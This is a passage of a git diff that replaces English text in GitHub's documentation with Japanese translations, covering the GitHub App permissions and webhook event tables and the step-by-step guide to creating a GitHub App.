-[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %}
-`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %}
-[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) |  Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`.
-[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %}
-[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`.
-[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`.
-[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`.
-[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`.
-[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) |  Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}.
-[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`.
-`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`.
-[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %}
-[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`.
-`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`.
-[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`.
-[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`.
-[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %}
-[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) |  Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
-[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) |  Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`.
-[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`.
-[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`.
-[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %}
-`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`.
+| 権限                                                                                                                               | 説明                                                                                                                                                                                                                                                            |
+| -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration)                           | Organization およびリポジトリ管理のためのさまざまなエンドポイントにアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghec %}
+| [`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking)                                       | [Blocking Users API](/rest/reference/users#blocking) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks)                                           | [Checks API](/rest/reference/checks) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion ghes < 3.4 %}
+| `content_references`                                                                                                             | 「[コンテンツ添付の作成](/rest/reference/apps#create-a-content-attachment)」エンドポイントへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents)                                       | さまざまなエンドポイントにアクセス権を付与し、リポジトリのコンテンツを変更できるようにします。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                                |
+| [`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments)                                 | [Deployments API](/rest/reference/repos#deployments) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghes or ghec %}
+| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails)                                           | [Emails API](/rest/reference/users#emails) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers)                                     | [Followers API](/rest/reference/users#followers) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                |
+| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys)                                       | [GPG Keys API](/rest/reference/users#gpg-keys) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                  |
+| [`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues)                                           | [Issues API](/rest/reference/issues) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                            |
+| [`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys)                                               | [Public Keys API](/rest/reference/users#keys) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                   |
+| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members)                                         | Organization のメンバーへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghec %}
+| [`メタデータ`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions)                                            | 機密データを漏洩しない、読み取り専用のエンドポイントへのアクセス権を付与します。 `read`、`none` のいずれかです。 {% data variables.product.prodname_github_app %} に何らかの権限を設定した場合、デフォルトは `read` となり、権限を指定しなかった場合、デフォルトは `none` となります。                                                                         |
+| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | 「[Organization の更新](/rest/reference/orgs#update-an-organization)」エンドポイントと、[Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks)                   | [Organization Webhooks API](/rest/reference/orgs#webhooks/) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                     |
+| `organization_plan`                                                                                                              | 「[Organization の取得](/rest/reference/orgs#get-an-organization)」エンドポイントを使用して Organization のプランについての情報を取得するためのアクセス権を付与します。 `none`、`read` のいずれかです。                                                                                                                |
+| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)             | [Projects API](/rest/reference/projects) へのアクセス権を付与します。 `none`、`read`、`write`、`admin` のいずれかです。{% ifversion fpt or ghec %}
+| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)        | [Blocking Organization Users API](/rest/reference/orgs#blocking) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages)                                             | [Pages API](/rest/reference/repos#pages) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                        |
+| `plan`                                                                                                                           | 「[ユーザの取得](/rest/reference/users#get-a-user)」エンドポイントを使用してユーザの GitHub プランについての情報を取得するためのアクセス権を付与します。 `none`、`read` のいずれかです。                                                                                                                                     |
+| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests)                             | さまざまなプルリクエストエンドポイントへのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                                              |
+| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks)                       | [Repository Webhooks API](/rest/reference/repos#hooks) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                          |
+| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects)                 | [Projects API](/rest/reference/projects) へのアクセス権を付与します。 `none`、`read`、`write`、`admin` のいずれかです。{% ifversion fpt or ghes > 3.0 or ghec %}
+| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts)           | [Secret scanning API](/rest/reference/secret-scanning) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}{% ifversion fpt or ghes or ghec %}
+| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events)                         | [Code scanning API](/rest/reference/code-scanning/) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% endif %}
+| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file)                                 | [Contents API](/rest/reference/repos#contents) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                  |
+| [`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring)                                       | [Starring API](/rest/reference/activity#starring) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                               |
+| [`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses)                                       | [Statuses API](/rest/reference/repos#statuses) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                  |
+| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions)                       | [Team Discussions API](/rest/reference/teams#discussions) および [Team Discussion Comments API](/rest/reference/teams#discussion-comments) へのアクセス権を付与します。 `none`、`read`、`write` のいずれかです。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `vulnerability_alerts`                                                                                                           | リポジトリ内の脆弱性のある依存関係に対するセキュリティアラートを受信するためのアクセス権を付与します。 詳細は「[脆弱性のある依存関係に関するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)」を参照。 `none`、`read` のいずれかです。{% endif %}
+| `Watch`                                                                                                                          | リストへのアクセス権を付与し、ユーザがサブスクライブするリポジトリの変更を許可します。 `none`、`read`、`write` のいずれかです。                                                                                                                                                                                    |
 
-## {% data variables.product.prodname_github_app %} webhook events
+## {% data variables.product.prodname_github_app %} webhook イベント
 
-Webhook event name | Required permission | Description
------------------- | ------------------- | -----------
-[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %}
-[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %}
-[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
-[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
-[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %}
-[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %}
-[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %}
-[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %}
-[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %}
-[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %}
-[`issues`](/webhooks/event-payloads/#issues) | `issues` | {% data reusables.webhooks.issues_short_desc %}
-[`issue_comment`](/webhooks/event-payloads/#issue_comment) | `issues` | {% data reusables.webhooks.issue_comment_short_desc %}
-[`label`](/webhooks/event-payloads/#label) | `metadata` | {% data reusables.webhooks.label_short_desc %}
-[`member`](/webhooks/event-payloads/#member) | `members` | {% data reusables.webhooks.member_short_desc %}
-[`membership`](/webhooks/event-payloads/#membership) | `members` | {% data reusables.webhooks.membership_short_desc %}
-[`milestone`](/webhooks/event-payloads/#milestone) | `pull_request` | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
-[`org_block`](/webhooks/event-payloads/#org_block) | `organization_administration` | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
-[`organization`](/webhooks/event-payloads/#organization) | `members` | {% data reusables.webhooks.organization_short_desc %}
-[`page_build`](/webhooks/event-payloads/#page_build) | `pages` | {% data reusables.webhooks.page_build_short_desc %}
-[`project`](/webhooks/event-payloads/#project) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_short_desc %}
-[`project_card`](/webhooks/event-payloads/#project_card) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
-[`project_column`](/webhooks/event-payloads/#project_column) | `repository_projects` or `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
-[`public`](/webhooks/event-payloads/#public) | `metadata` | {% data reusables.webhooks.public_short_desc %}
-[`pull_request`](/webhooks/event-payloads/#pull_request) | `pull_requests` | {% data reusables.webhooks.pull_request_short_desc %}
-[`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | `pull_request` | {% data reusables.webhooks.pull_request_review_short_desc %}
-[`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request` | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
-[`push`](/webhooks/event-payloads/#push) | `contents` | {% data reusables.webhooks.push_short_desc %}
-[`release`](/webhooks/event-payloads/#release) | `contents` | {% data reusables.webhooks.release_short_desc %}
-[`repository`](/webhooks/event-payloads/#repository) |`metadata` | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
-[`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) | `contents` | Allows integrators using GitHub Actions to trigger custom events.{% endif %}
-[`status`](/webhooks/event-payloads/#status) | `statuses` | {% data reusables.webhooks.status_short_desc %}
-[`team`](/webhooks/event-payloads/#team) | `members` | {% data reusables.webhooks.team_short_desc %}
-[`team_add`](/webhooks/event-payloads/#team_add) | `members` | {% data reusables.webhooks.team_add_short_desc %}
-[`watch`](/webhooks/event-payloads/#watch) | `metadata` | {% data reusables.webhooks.watch_short_desc %}
+| Webhook イベント名                                                                          | 必要な権限                                             | 説明                                                                                  |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------- | ----------------------------------------------------------------------------------- |
+| [`check_run`](/webhooks/event-payloads/#check_run)                                     | `checks`                                          | {% data reusables.webhooks.check_run_short_desc %}
+| [`check_suite`](/webhooks/event-payloads/#check_suite)                                 | `checks`                                          | {% data reusables.webhooks.check_suite_short_desc %}
+| [`commit_comment`](/webhooks/event-payloads/#commit_comment)                           | `contents`                                        | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
+| [`content_reference`](/webhooks/event-payloads/#content_reference)                     | `content_references`                              | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
+| [`create`](/webhooks/event-payloads/#create)                                           | `contents`                                        | {% data reusables.webhooks.create_short_desc %}
+| [`delete`](/webhooks/event-payloads/#delete)                                           | `contents`                                        | {% data reusables.webhooks.delete_short_desc %}
+| [`deployment`](/webhooks/event-payloads/#deployment)                                   | `deployments`                                     | {% data reusables.webhooks.deployment_short_desc %}
+| [`deployment_status`](/webhooks/event-payloads/#deployment_status)                     | `deployments`                                     | {% data reusables.webhooks.deployment_status_short_desc %}
+| [`フォーク`](/webhooks/event-payloads/#fork)                                               | `contents`                                        | {% data reusables.webhooks.fork_short_desc %}
+| [`gollum`](/webhooks/event-payloads/#gollum)                                           | `contents`                                        | {% data reusables.webhooks.gollum_short_desc %}
+| [`issues`](/webhooks/event-payloads/#issues)                                           | `issues`                                          | {% data reusables.webhooks.issues_short_desc %}
+| [`issue_comment`](/webhooks/event-payloads/#issue_comment)                             | `issues`                                          | {% data reusables.webhooks.issue_comment_short_desc %}
+| [`ラベル`](/webhooks/event-payloads/#label)                                               | `メタデータ`                                           | {% data reusables.webhooks.label_short_desc %}
+| [`メンバー`](/webhooks/event-payloads/#member)                                             | `members`                                         | {% data reusables.webhooks.member_short_desc %}
+| [`membership`](/webhooks/event-payloads/#membership)                                   | `members`                                         | {% data reusables.webhooks.membership_short_desc %}
+| [`マイルストーン`](/webhooks/event-payloads/#milestone)                                       | `pull_request`                                    | {% data reusables.webhooks.milestone_short_desc %}{% ifversion fpt or ghec %}
+| [`org_block`](/webhooks/event-payloads/#org_block)                                     | `organization_administration`                     | {% data reusables.webhooks.org_block_short_desc %}{% endif %}
+| [`Organization`](/webhooks/event-payloads/#organization)                               | `members`                                         | {% data reusables.webhooks.organization_short_desc %}
+| [`page_build`](/webhooks/event-payloads/#page_build)                                   | `pages`                                           | {% data reusables.webhooks.page_build_short_desc %}
+| [`project`](/webhooks/event-payloads/#project)                                         | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_short_desc %}
+| [`project_card`](/webhooks/event-payloads/#project_card)                               | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_card_short_desc %}
+| [`project_column`](/webhooks/event-payloads/#project_column)                           | `repository_projects` または `organization_projects` | {% data reusables.webhooks.project_column_short_desc %}
+| [`public`](/webhooks/event-payloads/#public)                                           | `メタデータ`                                           | {% data reusables.webhooks.public_short_desc %}
+| [`pull_request`](/webhooks/event-payloads/#pull_request)                               | `pull_requests`                                   | {% data reusables.webhooks.pull_request_short_desc %}
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review)                 | `pull_request`                                    | {% data reusables.webhooks.pull_request_review_short_desc %}
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | `pull_request`                                    | {% data reusables.webhooks.pull_request_review_comment_short_desc %}
+| [`プッシュ`](/webhooks/event-payloads/#push)                                               | `contents`                                        | {% data reusables.webhooks.push_short_desc %}
+| [`リリース`](/webhooks/event-payloads/#release)                                            | `contents`                                        | {% data reusables.webhooks.release_short_desc %}
+| [`リポジトリ`](/webhooks/event-payloads/#repository)                                        | `メタデータ`                                           | {% data reusables.webhooks.repository_short_desc %}{% ifversion fpt or ghec %}
+| [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch)                 | `contents`                                        | GitHub Action を使用するインテグレーターがカスタムイベントをトリガーできるようにします。{% endif %}
+| [`ステータス`](/webhooks/event-payloads/#status)                                            | `statuses`                                        | {% data reusables.webhooks.status_short_desc %}
+| [`Team`](/webhooks/event-payloads/#team)                                               | `members`                                         | {% data reusables.webhooks.team_short_desc %}
+| [`team_add`](/webhooks/event-payloads/#team_add)                                       | `members`                                         | {% data reusables.webhooks.team_add_short_desc %}
+| [`Watch`](/webhooks/event-payloads/#watch)                                             | `メタデータ`                                           | {% data reusables.webhooks.watch_short_desc %}
diff --git a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app.md b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app.md
index 93f56c8090..83995299b7 100644
--- a/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app.md
+++ b/translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating a GitHub App
+title: GitHub App を作成する
 intro: '{% data reusables.shortdesc.creating_github_apps %}'
 redirect_from:
   - /early-access/integrations/creating-an-integration
@@ -14,12 +14,13 @@ versions:
 topics:
   - GitHub Apps
 ---
-{% ifversion fpt or ghec %}To learn how to use GitHub App Manifests, which allow people to create preconfigured GitHub Apps, see "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)."{% endif %}
+
+{% ifversion fpt or ghec %}構成済みの GitHub App を作成できる GitHub App Manifest の使い方については、「[マニフェストから GitHub App を作成する](/apps/building-github-apps/creating-github-apps-from-a-manifest/)」を参照してください。{% endif %}
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-github-apps-allowed %}
+  **ノート：** {% data reusables.apps.maximum-github-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -27,57 +28,44 @@ topics:
 {% data reusables.apps.settings-step %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
-1. Click **New GitHub App**.
-![Button to create a new GitHub App](/assets/images/github-apps/github_apps_new.png)
-1. In "GitHub App name", type the name of your app.
-![Field for the name of your GitHub App](/assets/images/github-apps/github_apps_app_name.png)
+1. [**New GitHub App**] をクリックします。 ![新しい GitHub App を作成するボタン](/assets/images/github-apps/github_apps_new.png)
+1. [GitHub App name] に、アプリケーションの名前を入力します。 ![GitHub App の名前フィールド](/assets/images/github-apps/github_apps_app_name.png)
 
-  Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub account, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
+  アプリケーションには簡潔で明快な名前を付けましょう。 アプリケーションの名前は、既存の GitHub アカウントと同じ名前にできません。ただし、その名前があなた自身のユーザ名や Organization 名である場合は例外です。 インテグレーションが動作すると、ユーザインターフェース上にアプリケーション名のスラッグが表示されます。
 
-1. Optionally, in "Description", type a description of your app that users will see.
-![Field for a description of your GitHub App](/assets/images/github-apps/github_apps_description.png)
-1. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your GitHub App](/assets/images/github-apps/github_apps_homepage_url.png)
+1. 必要に応じて、ユーザーに表示されるアプリケーションの説明を [Description] に入力します。 ![GitHub App の説明フィールド](/assets/images/github-apps/github_apps_description.png)
+1. [Homepage URL] に、アプリケーションのウェブサイトの完全な URL を入力します。 ![GitHub App のホームページ URL フィールド](/assets/images/github-apps/github_apps_homepage_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
-1. In "Callback URL", type the full URL to redirect to after a user authorizes the installation. This URL is used if your app needs to identify and authorize user-to-server requests.
+1. [Callback URL] に、ユーザがインストールを認可した後にリダイレクトされる URL を完全な形で入力します。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。
 
-  You can use **Add callback URL** to provide additional callback URLs, up to a maximum of 10.
+  [**Add callback URL**] を使用して、コールバック URL を最大 10 個追加できます。
 
-  ![Button for 'Add callback URL' and field for callback URL](/assets/images/github-apps/github_apps_callback_url_multiple.png)
+  ![[Add callback URL] のボタンと コールバック URL のフィールド](/assets/images/github-apps/github_apps_callback_url_multiple.png)
 {% else %}
-1. In "User authorization callback URL", type the full URL to redirect to after a user authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.
-![Field for the user authorization callback URL of your GitHub App](/assets/images/github-apps/github_apps_user_authorization.png)
+1. [User authorization callback URL] に、ユーザーがインストールを認可した後にリダイレクトされる URL を完全な形で入力します。 この URL は、アプリケーションがユーザからサーバへのリクエストを識別して承認する必要がある場合に使用されます。 ![GitHub App のユーザ認可コールバック URL フィールド](/assets/images/github-apps/github_apps_user_authorization.png)
 
 {% endif %}
-1. By default, to improve your app's security, your app will use expiring user authorization tokens. To opt-out of using expiring user tokens, you must deselect "Expire user authorization tokens". To learn more about setting up a refresh token flow and the benefits of expiring user tokens, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)."
-  ![Option to opt-in to expiring user tokens during GitHub Apps setup](/assets/images/github-apps/expire-user-tokens-selection.png)
-1. If your app authorizes users using the OAuth flow, you can select **Request user authorization (OAuth) during installation** to allow people to authorize the app when they install it, saving a step. If you select this option, the "Setup URL" becomes unavailable and users will be redirected to your "User authorization callback URL" after installing the app. See "[Authorizing users during installation](/apps/installing-github-apps/#authorizing-users-during-installation)" for more information.
-![Request user authorization during installation](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
-1. If additional setup is required after installation, add a "Setup URL" to redirect users to after they install your app.
-![Field for the setup URL of your GitHub App ](/assets/images/github-apps/github_apps_setup_url.png)
+1. デフォルトでは、アプリケーションのセキュリティを高めるため、アプリケーションは期限付きのユーザ認可トークンを使用します。 期限付きのユーザトークンの使用をオプトアウトするには、[Expire user authorization tokens] の選択を解除する必要があります。 リフレッシュトークンフローの設定と、期限付きユーザトークンの利点に関する詳細については、「[ユーザからサーバーに対するアクセストークンをリフレッシュする](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)」を参照してください。 ![GitHub App のセットアップ中に期限付きユーザトークンをオプトインするオプション](/assets/images/github-apps/expire-user-tokens-selection.png)
+1. アプリケーションが OAuth フローを使用してユーザを認可する場合、[**Request user authorization (OAuth) during installation**] を選択して、ユーザーかアプリをインストール時に認可するようにできます。 このオプションを選択した場合、[Setup URL] が利用できなくなり、アプリケーションのインストール後にユーザはあなたが設定した [User authorization callback URL] にリダイレクトされます。 詳しい情報については「[インストール中にユーザを認可する](/apps/installing-github-apps/#authorizing-users-during-installation)」を参照してください。 ![インストール時にユーザの認可を要求する](/assets/images/github-apps/github_apps_request_auth_upon_install.png)
+1. インストール後に追加の設定が必要な場合、[Setup URL] を追加して、アプリケーションをインストールした後にユーザをリダイレクトします。 ![GitHub App のセットアップ URL フィールド ](/assets/images/github-apps/github_apps_setup_url.png)
 
   {% note %}
 
-  **Note:** When you select **Request user authorization (OAuth) during installation** in the previous step, this field becomes unavailable and people will be redirected to the "User authorization callback URL" after installing the app.
+  **注釈:** 前のステップで [**Request user authorization (OAuth) during installation**] を選択した場合、このフィールドは利用できなくなり、アプリケーションのインストール後にユーザは [User authorization callback URL] にリダイレクトされます。
 
   {% endnote %}
 
-1. In "Webhook URL", type the URL that events will POST to. Each app receives its own webhook which will notify you every time the app is installed or modified, as well as any other events the app subscribes to.
-![Field for the webhook URL of your GitHub App](/assets/images/github-apps/github_apps_webhook_url.png)
+1. [Webhook URL] に、イベントが POST する URL を入力します。 各アプリケーションは、アプリケーションがインストールまたは変更されたり、アプリケーションがサブスクライブしているその他のイベントが発生したりするたびに、アプリケーションで設定した webhook を受信します。 ![GitHub App の webhook URL フィールド](/assets/images/github-apps/github_apps_webhook_url.png)
 
-1. Optionally, in "Webhook Secret", type an optional secret token used to secure your webhooks.
-![Field to add a secret token for your webhook](/assets/images/github-apps/github_apps_webhook_secret.png)
+1. 必要に応じて、webhook を保護するための、オプションのシークレットトークンを [Webhook Secret] に入力します。 ![webhook にシークレットトークンを追加するフィールド](/assets/images/github-apps/github_apps_webhook_secret.png)
 
   {% note %}
 
-  **Note:** We highly recommend that you set a secret token. For more information, see "[Securing your webhooks](/webhooks/securing/)."
+  **注釈:** シークレットトークンは、設定することを強くお勧めします。 詳しい情報については「[webhookをセキュアにする](/webhooks/securing/)」を参照してください。
 
   {% endnote %}
 
-1. In "Permissions", choose the permissions your app will request. For each type of permission, use the drop-down menu and click **Read-only**, **Read & write**, or **No access**.
-![Various permissions for your GitHub App](/assets/images/github-apps/github_apps_new_permissions_post2dot13.png)
-1. In "Subscribe to events", choose the events you want your app to receive.
-1. To choose where the app can be installed, select either **Only on this account** or **Any account**. For more information on installation options, see "[Making a GitHub App public or private](/apps/managing-github-apps/making-a-github-app-public-or-private/)."
-![Installation options for your GitHub App](/assets/images/github-apps/github_apps_installation_options.png)
-1. Click **Create GitHub App**.
-![Button to create your GitHub App](/assets/images/github-apps/github_apps_create_github_app.png)
